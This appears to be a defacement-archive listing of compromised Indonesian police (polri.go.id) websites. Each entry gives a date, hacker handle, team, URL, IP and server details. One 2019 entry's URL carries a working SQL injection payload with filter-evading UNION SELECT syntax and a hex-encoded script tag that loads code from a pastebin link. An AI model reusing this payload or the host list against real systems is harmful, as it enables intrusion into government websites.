Loading
Track the progress of your security check and view compromised records when available.
2025-09-14 13:56:39
| Hacker | RAZOR_X12 |
| Team | CLAN_X12 |
| URL | https://bali.polri.go.id/profile/view/prfl-466434-tentang-polri |
| IP | 120.29.231.18 [ ] |
| Server | Apache |
| OS | Linux |
2025-08-19 17:28:15
| Hacker | fenxzdigital |
| Team | Leviathan -- rise from shadow |
| URL | https://etle.korlantas.polri.go.id/ |
| IP | 103.154.174.36 [ ] |
| Server | Apache |
| OS | Linux |
2025-06-15 14:15:50
| Hacker | UCEN HAXOR |
| Team | BlackShinchanXXX |
| URL | https://jogja.polri.go.id/polda/satker/dit-pam-obvit/informasi/detail/hacked-by-ucen-haxor.html |
| IP | 120.29.231.65 [ ] |
| Server | Apache |
| OS | Linux |
2025-06-12 00:53:37
| Hacker | RISSEC1337 |
| Team | KEDIRISECTEAM |
| URL | https://puslitbang.polri.go.id/berita/detail/29016/seized-by-kedirisecteam |
| IP | 120.29.229.21 [ ] |
| Server | Nginx |
| OS | Linux |
2025-04-11 03:39:00
| Hacker | RISSEC1337 |
| Team | KEDIRISECTEAM |
| URL | https://lemdiklat.polri.go.id/web/hacked-by-kedirisecteam-5523 |
| IP | 120.29.226.134 [ ] |
| Server | Apache |
| OS | Ubuntu |
2025-03-25 06:11:12
| Hacker | RISSEC1337 |
| Team | KEDIRISECTEAM |
| URL | https://garut.jabar.polri.go.id/v5/kedirisecteam.php |
| IP | 120.29.231.14 [ ] |
| Server | Apache |
| OS | Linux |
2025-03-24 01:40:48
| Hacker | UCEN HAXOR |
| Team | Karawang Cyber Team |
| URL | https://cpns.polri.go.id/ |
| IP | 120.29.228.85 [ ] |
| Server | Nginx |
| OS | Linux |
2025-03-17 19:02:05
| Hacker | RISSEC1337 |
| Team | KEDIRISECTEAM |
| URL | https://tribratanews.gunungkidul.jogja.polri.go.id |
| IP | 194.59.165.76 [ ] |
| Server | Nginx |
| OS | Linux |
2025-03-04 08:30:54
| Hacker | ReformasiGhost |
| Team | EliteTeam |
| URL | https://reskotim.kalteng.polri.go.id/ |
| IP | 120.29.231.23 [ ] |
| Server | Apache |
| OS | Linux |
2025-02-24 22:11:41
| Hacker | Ghost7 |
| Team | DEPOK BLACKHAT |
| URL | https://tribratanews.madiunkota.jatim.polri.go.id/wp-content/uploads/2025/02/text-1.txt |
| IP | 120.29.231.17 [ ] |
| Server | Apache |
| OS | Linux |
2025-02-24 22:11:39
| Hacker | Ghost7 |
| Team | DEPOK BLACKHAT |
| URL | https://tribratanews.madiun.jatim.polri.go.id/wp-content/uploads/2025/02/text-1.txt |
| IP | 120.29.231.17 [ ] |
| Server | Apache |
| OS | Linux |
2025-02-24 22:03:15
| Hacker | Ghost7 |
| Team | DEPOK BLACKHAT |
| URL | https://tribratanews.jombang.jatim.polri.go.id/wp-content/uploads/2025/02/text-1.txt |
| IP | 120.29.231.17 [ ] |
| Server | Apache |
| OS | Linux |
2024-11-28 03:20:01
| Hacker | BianSec1337 |
| Team | reliable attacker |
| URL | https://e-office.jatim.polri.go.id/assets/img/fotoprofile/933/933_user_2024-11-28_03-19-13.jpg |
| IP | 120.29.226.89 [ ] |
| Server | Nginx |
| OS | Linux |
2024-10-23 00:58:22
| Hacker | SukaBintang01 |
| Team | garudasecurity |
| URL | https://pid.kepri.polri.go.id/wp-content/uploads/2024/10/HackedBySukaBintang01.jpg |
| IP | 120.29.231.6 [ ] |
| Server | Apache |
| OS | Linux |
2024-10-21 02:21:21
| Hacker | SukaBintang01 |
| Team | garudasecurity |
| URL | https://eaudit.itwasum.polri.go.id/storage/public/2024-10-21/ttd/5l4ouWAtOEevhdrEjU7h5udSZH18jOpZ.jpg |
| IP | 120.29.231.233 [ ] |
| Server | Nginx |
| OS | Linux |
2024-10-12 05:01:51
| Hacker | @bboscat |
| Team | Garuda Suspend Commision |
| URL | https://sirena.polri.go.id/files/renja/RenjaBID_TIK_POLDA_KALBAR1728647923.html |
| IP | 120.29.226.98 [ ] |
| Server | Apache |
| OS | Linux |
2024-10-10 17:41:41
| Hacker | MrPlayer404 |
| Team | Palembang Cyber Team |
| URL | https://balangan.kalsel.polri.go.id/ |
| IP | 120.29.231.22 [ ] |
| Server | Apache |
| OS | Linux |
2024-07-28 17:38:43
| Hacker | Zen |
| Team | |
| URL | https://tribratanews-resacehtimur.aceh.polri.go.id/deal/hackedbyzen/ |
| IP | 120.29.231.2 [ ] |
| Server | Apache |
| OS | Linux |
2024-07-16 07:21:54
| Hacker | ParanoidHax |
| Team | ParanoidHax |
| URL | https://lantas.kalsel.polri.go.id/momk.html |
| IP | 120.29.231.22 [ ] |
| Server | Apache |
| OS | Linux |
2020-10-12 21:05:49
| Hacker | Dijehaji |
| Team | Bipokids |
| URL | https://e-binjas.polri.go.id/readme.html |
| IP | 120.29.226.133 [ ] |
| Server | Unknown |
| OS | Linux |
2020-10-12 00:56:06
| Hacker | FRK48 |
| Team | Error People Squad |
| URL | http://digilib.pusdikbinmas.polri.go.id/0x48.txt |
| IP | 118.97.15.37 [ ] |
| Server | Apache |
| OS | Linux |
2020-10-10 22:21:29
| Hacker | Dijehaji |
| Team | Bipokids |
| URL | https://abk.polri.go.id/komntol.htm |
| IP | 120.29.231.35 [ ] |
| Server | Apache |
| OS | Linux |
2020-09-28 16:11:59
| Hacker | Parkerzanta |
| Team | 22XploiterCrew |
| URL | https://jogja.polri.go.id/polres_gunungkidul/polsek_panggang/website/wp-content/uploads/2020/09/ |
| IP | 118.98.66.165 [ ] |
| Server | Apache |
| OS | Linux |
2020-09-26 14:48:49
| Hacker | Cubjrnet7 |
| Team | ROBH |
| URL | https://batola.kalsel.polri.go.id/403.htm |
| IP | 120.29.231.22 [ ] |
| Server | Apache |
| OS | Linux |
2019-08-17 09:30:40
| Hacker | Mr.Hydra |
| Team | Jiwa Terlena Team |
| URL | http://polresta.jambi.polri.go.id/wp-content/uploads/2019/08/ |
| IP | 180.250.38.140 [ ] |
| Server | Nginx |
| OS | Linux |
2019-08-15 14:11:38
| Hacker | ./MrTahuSumedang |
| Team | D704T |
| URL | https://jurnal.korlantas.polri.go.id/files/journals/1/articles/31/submission/original/31-52-3-SM.txt |
| IP | 118.97.77.170 [ ] |
| Server | Apache |
| OS | Linux |
2019-08-12 23:33:38
| Hacker | Syntax7 |
| Team | TEH Squad Cyber |
| URL | http://oku.sumsel.polri.go.id/id.htm |
| IP | 120.29.231.8 [ ] |
| Server | Apache |
| OS | Linux |
2019-08-12 19:48:21
| Hacker | xMrCold |
| Team | TEH Squad Cyber |
| URL | http://ssdm.polri.go.id/x.php |
| IP | 120.29.228.9 [ ] |
| Server | Apache |
| OS | Linux |
2019-05-23 21:00:49
| Hacker | HT45TP |
| Team | Dark Side Team |
| URL | http://sasirangan.kalsel.polri.go.id/index_1.html |
| IP | 120.29.228.55 [ ] |
| Server | Apache |
| OS | Linux |
2019-05-19 22:34:11
| Hacker | HT45TP |
| Team | Kutunggu jandamu:'voss |
| URL | http://mail.tanahlaut.kalsel.polri.go.id/polres/berita/berita_detail/47 |
| IP | 120.29.230.22 [ ] |
| Server | Apache |
| OS | Linux |
2019-05-19 21:14:31
| Hacker | HT45TP |
| Team | Dark Side Team |
| URL | http://tanahlaut.kalsel.polri.go.id/polres/berita/berita_detail/47 |
| IP | 120.29.230.22 [ ] |
| Server | Apache |
| OS | Linux |
2019-03-18 18:36:30
| Hacker | AKB4R DRAVINKY |
| Team | - |
| URL | http://www.dokkes.polri.go.id/administrator/uplfile/8$statusindex.html |
| IP | 49.50.8.184 [ ] |
| Server | Apache |
| OS | Linux |
2019-03-08 21:13:19
| Hacker | ./c0d3x.3rr |
| Team | Lock NUll Xploit |
| URL | https://penerimaan.polri.go.id/index.php |
| IP | 120.29.228.66 [ ] |
| Server | Apache |
| OS | Linux |
2019-02-08 23:20:41
| Hacker | ./c0d3x.3rr |
| Team | Lock Null Xploit |
| URL | https://www.divhubinter.polri.go.id/dhi/viewBerita.php?id=.81+AND+0+/*!50000%55niON*/+/*!50000%53eLeCt*/+1,0x68747470733A2F2F7777772E646976687562696E7465722E706F6C72692E676F2E69642F6468692F766965774265726974612E7068703F69643D2E38312B414E442B302B2F2A2135303030302535356E694F4E2A2F2B2F2A213530303030253533654C6543742A2F2B312C3C73637269707420747970653D22746578742F6A61766173637269707422207372633D2268747470733A2F2F706173746562696E2E636F6D2F7261772F4E456347744E556B222F3E3C2F7363726970743E2C332C342C352C360D0A,3,4,5,6 |
| IP | 120.29.231.35 [ ] |
| Server | Apache |
| OS | Linux |
2018-12-12 22:26:37
| Hacker | Xenon1205 |
| Team | D4RK SYST3M F41LUR3 S33K3R |
| URL | http://www.bali.polri.go.id/sites/default/files/webform/file/XENON.jpg |
| IP | 118.97.27.85 [ ] |
| Server | Apache |
| OS | Linux |
2018-11-18 11:54:53
| Hacker | MR.5T1YO |
| Team | Dark Side Team |
| URL | http://rimdikpns.ssdm.polri.go.id/forum/category.php?option=view-category&catid=14 |
| IP | 120.29.228.224 [ ] |
| Server | Apache |
| OS | Linux |
2018-11-16 22:05:47
| Hacker | AKB4R DRAVINKY |
| Team | No team |
| URL | http://sdm.kepri.polri.go.id/hm.htm |
| IP | 120.29.230.6 [ ] |
| Server | Apache |
| OS | Linux |
2018-09-08 12:27:34
| Hacker | KazeoHans |
| Team | AnarchoXploit |
| URL | https://polri.go.id/ka.htm |
| IP | 120.29.225.249 [ ] |
| Server | Apache |
| OS | Linux |